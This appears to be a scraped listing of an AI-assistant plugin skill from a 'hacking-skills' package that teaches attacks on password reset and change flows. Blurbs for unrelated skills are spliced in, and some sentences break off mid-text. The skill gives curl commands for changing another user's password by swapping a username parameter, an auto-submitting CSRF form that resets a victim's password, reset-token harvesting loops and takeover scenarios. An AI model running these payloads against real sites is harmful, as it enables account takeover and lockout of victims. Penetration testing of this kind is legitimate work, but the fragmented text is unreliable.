From meta
Exploit weak password reset and change flows via CSRF on reset forms, cross-user password modification by swapping username parameters, token predictability in reset links, reset displaying old password in plaintext (revealing weak storage), missing current-password verification on change forms, and session hijacker lockout via passwordless change. Test with Burp Suite, OWASP ZAP following OWASP Forgot Password Cheat Sheet.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
Password reset and change workflows are high-value attack targets because they operate partially
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
Password reset and change workflows are high-value attack targets because they operate partially outside a user's active session. Flaws arise when reset tokens are predictable, when the workflow can be manipulated to affect other users' accounts, when CSRF protections are absent, or when password changes do not require verification of the current credential. Additionally, displaying the old password during a reset reveals that it is stored in recoverable form (plaintext or reversible encryption), indicating fundamentally broken credential storage.
user= or username= parameter that can be swapped to another accountchangepassword?user=VICTIM without validating session ownershipuser=, username=, or
account= parameter to a different account while authenticated as another user.currentPassword
field or with an incorrect value; observe if accepted.# Test cross-user password change (swap victim username)
curl -X POST https://TARGET/account/changepassword \
-b "SessionID=ATTACKER_SESSION" \
-d "user=VICTIM&newPassword=hacked123&confirmPassword=hacked123"
# Test password change without current password
curl -X POST https://TARGET/account/changepassword \
-b "SessionID=VALID_SESSION" \
-d "newPassword=hacked123&confirmPassword=hacked123"
# CSRF PoC for password reset (save as csrf_reset.html, open in victim browser)
cat << 'EOF'
<html>
<body onload="document.forms[0].submit()">
<form action="https://TARGET/account/resetPassword" method="POST">
<input type="hidden" name="email" value="VICTIM_EMAIL">
</form>
</body>
</html>
EOF
# Collect reset tokens and diff for predictability
for i in {1..5}; do
curl -s -X POST https://TARGET/forgot-password \
-d "email=test${i}@TARGET" -D - | grep -i "location\|token"
done
# Test token reuse after use
curl "https://TARGET/reset?token=TOKEN&newpass=test123"
# Wait, then retry:
curl "https://TARGET/reset?token=TOKEN&newpass=changed_again"
# Weak password policy test
curl -X POST https://TARGET/register \
-d "user=testuser&pass=123456&confirm=123456"
curl -X POST https://TARGET/register \
-d "user=testuser2&pass=Password1&confirm=Password1"
MD5(email + timestamp), brute-force the timestamp within a known window.currentPassword field is client-side validated only, remove validation via browser devtools.Scenario 1 — CSRF Account Takeover via Password Reset
Setup: Password reset endpoint lacks CSRF token; accepts email= parameter via POST.
Trigger: Victim visits attacker-controlled page containing auto-submitting form targeting reset
endpoint with victim's email. Attacker controls email account (or intercepts reset token).
Impact: Attacker resets victim's password and locks them out.
Scenario 2 — Cross-User Password Change
Setup: Password change endpoint uses user= parameter without validating it matches session owner.
Trigger: Authenticated attacker POSTs to /changepassword with user=admin&newPassword=hacked.
Impact: Admin account password changed to attacker-controlled value; full privilege escalation.
Scenario 3 — Session Hijacker Lockout Attack Setup: Password change does not require current password; attacker has stolen a valid session token. Trigger: Attacker changes victim's password using stolen session before victim notices. Impact: Victim locked out of their own account; attacker maintains persistent access.
Password reset is one of the most common [[auth-bypass]] vectors — a flawed reset flow often completely sidesteps a hardened login page. A missing CSRF token on the reset form makes it immediately chainable with [[csrf]] for account takeover. If the reset endpoint reflects a predictable token in the URL, [[session-fixation]] techniques (token prediction analysis) apply to reconstruct the token space. Cross-user password modification via parameter swap is the same class of bug as [[authz-bypass]].